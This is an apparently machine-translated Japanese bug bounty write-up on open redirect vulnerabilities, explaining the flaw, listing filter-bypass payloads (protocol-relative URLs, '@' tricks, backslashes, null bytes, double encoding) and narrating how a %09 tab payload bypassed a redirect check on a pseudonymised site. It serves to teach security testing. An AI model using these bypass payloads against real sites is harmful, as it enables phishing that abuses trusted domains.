Hello there, ('ω')ノ
バグ報奨金エクスペリエンス：未検証のリダイレクトの脆弱性を。
脆弱性：
オープンリダイレクト
記事：
Web アプリケーションが信頼できない入力を受け入れると、
検証されていないリダイレクトと転送が発生する可能性があり、
その結果、アプリケーションが信頼できない入力に含まれる URL に
リダイレクトされる可能性があり。
これにより、攻撃者はブラウザを悪意のあるサイトにリダイレクトし、
信頼できるドメイン名を使用して被害者の信用を得ることが可能になって。
未検証のリダイレクトと未検証の転送は、同じクラスの 2 つの異なる脆弱性で。
この脆弱性は、2013 年の OWASP Web トップ 10 の 1 つでしたが、
2017 年のトップ 10 リストには含まれておらず。
未検証のリダイレクトをテストしているときに、2 つの一般的なシナリオに遭遇して。
１．簡単なリダイレクト
２．トリッキーなリダイレクト
簡単なリダイレクト：
名前自体が示すように、このクラスの脆弱性は、パラメータへの入力として
URL を与えると直接リダイレクトが実行されるシナリオで発生して。
例：
リクエスト：
https://www.example.com/path123?q=dontforgetethics&url=https://www.attackers.com
レスポンス：
HTTP 1.1 302 Found
…
Location: https://www.attackers.com
テスト中の重要なポインタ：
・すべてのパラメータが脆弱になる可能性があり。
したがって、「URL」文字列を含むパラメータを盲目的に検索しないで。
・callback、next、go、リダイレクト、return、back などのパラメータ
も脆弱になる可能性があって。
・最初のポイントを忘れないで。
すべてのパラメータが脆弱になる可能性があって。
パラメータ「q」(上記 URL 内)、リファラ ヘッダ、Cookie 内のランダム キーなど、
あらゆるものがリダイレクト攻撃に対して脆弱になる可能性があって。
トリッキーなリダイレクト：
場合によっては、リダイレクトを実行するペイロードを特定するのが
難しい場合があり。
単純なペイロード
https://www.example.com/path123?q=dontforgetethics&url=https://www.attachers.com
は機能しなくなる可能性があり。
ホワイトリストに登録されたドメイン、プロトコル、パス、パターンなどに
検証が存在する可能性があり。
そのような場合、バグを見つけるために少しの努力が必要になり。
このような検証を回避する方法はたくさんありますが、いくつかは次のとおりで。
?url=//attackers.com
(http:// がブラックリストに登録されている場合)
?url=https:attackers.com
(// がブラックリストに登録されている場合に備えて)
?url=\/\/attackers.com/
(ブラックリスト // および http:// をバイパスするのに役立ち
ブラウザでは /\/\ が // として認識されて)
?url=https://whitelisted.com@whitelisted.com@attackers.com
(「@」記号が最初に出現した後にホワイトリストに登録された
ドメインの検証がある場合)
?url=https://whitelisted.com@attackers.com/abc@whitelisted.com
(「@」記号が最後に出現した後にドメインの検証が行われた場合)
https://whitelisted.com/menu?url=https://attackers.com\whitelisted.com/../../../
(「\」の美しさ)
?url=https://whitelisted.com%00attachers.com
(ヌルバイト、コンテキストによって異なって)
?url=https://whitelisted.com%2540attachers.com
?url=https%3a%2f%2fwww.attackers.com?whitelisted.com
(エンコーディング／ダブルエンコーディング文字)
これは完全なセットではなく。
試行されテストされたペイロードのいくつかで。
これらには他にもたくさんあって。
それで、ある日、バグ報奨金プラットフォームの 1 つでWeb サイトをテストしていて。
ドメインを次のように呼ぶことに。
XSS、IDOR、その他のビジネス ロジックのバグを常に探していますが、
運が悪いことに、何も見つからず。
複数の URL パラメータのリダイレクトの脆弱性についても試し。
いくつかの API では、適切にホワイトリストに登録されましたが、
いくつかの API では、ダミー パラメータで。
テスト中に API パスに遭遇して。
各パラメータの重要性を理解しようとして、それに応じて変更しましたが、
何も問題はなく。
不正な改ざんが行われるたびにエラーページにリダイレクトされて。
http://maybesecure.com/price/error.jsp
続けて、パラメータ「lang」を「xlang」に変更して。
驚いたことに、これまで見たことのない新しいパスへの 302 リダイレクトを
受け取って。
これは新しいパラメータを含む新しいパスであり、
URL もリダイレクトの最初のカテゴリに属しているようだったので満足して。
この URL の場合、
応答は次のようなもので。
<script>top.window.location="https://maybesecure.com/errors/others/index.html";</script>
リフレクション コンテキストに関して XSS のさまざまなペイロードを試し。
XSS はこの記事の範囲外なので、今後の記事で XSS を特定する際に
直面する可能性のある美しい問題について書くことに。
リダイレクトの脆弱性を機能させるために、次のような単純なペイロードを試して。
試み 1
リクエスト：
https://maybesecure.com/error/frame.jsp?frames=_top&go=https://attackers.com
レスポンス：
top.window.location="https://maybesecure.com/https://attackers.com";
ペイロードがパスパラメータとして反映されていて。
試み 2
リクエスト：
https://maybesecure.com/error/frame.jsp?frames=_top&go=https://maybesecure.com/path123
レスポンス：
top.window.location="https://maybesecure.com/path123";
試行 X
リクエスト：
https://maybesecure.com/error/frame.jsp?frames=_top&go=@attackers.com
レスポンス：
top.window.location="https://maybesecure.com/@attackers.com”;
IP アドレス、ヌルバイト、エンコードされた URL、およびすべての厄介な
既知のペイロードを指定するなど、複数の試行が実行され。
次に、さまざまな文字 %0d、%0a、%00、%08、%03、%0E などを
さまざまなペイロードと組み合わせて、動作を観察して。
最後に違いをもたらしたのは %09 で。
リクエスト：
https://maybesecure.com/error/frame.jsp?frames=_top&go=%2f%09%2f@attackers.com
レスポンス：
top.window.location=”https://maybesecure.com/ /@attackers.com”;
%09 は水平タブであるため、印刷できないことに注意して。
「/@」の前にスペースがあり。
しかし、スクリプト内で実行されると、その魔法が働き。
同じ脆弱性が他のサブドメインにも存在したため、
複数のサブドメインの「go」パラメータに関するリダイレクトの脆弱性を報告して。
ターニングポイントは「lang」パラメータだと思っていて。
「lang」パラメータが送信されない場合、アプリケーションはユーザを
まったく新しいパスにリダイレクトして。
幸いなことに、その新しいパスのパラメータはリダイレクト攻撃に対して脆弱で。
したがって、すべてのパラメータが脆弱になる可能性があることを覚えておいて
だからファジングを続けてみて。
Best regards, (^^ゞ
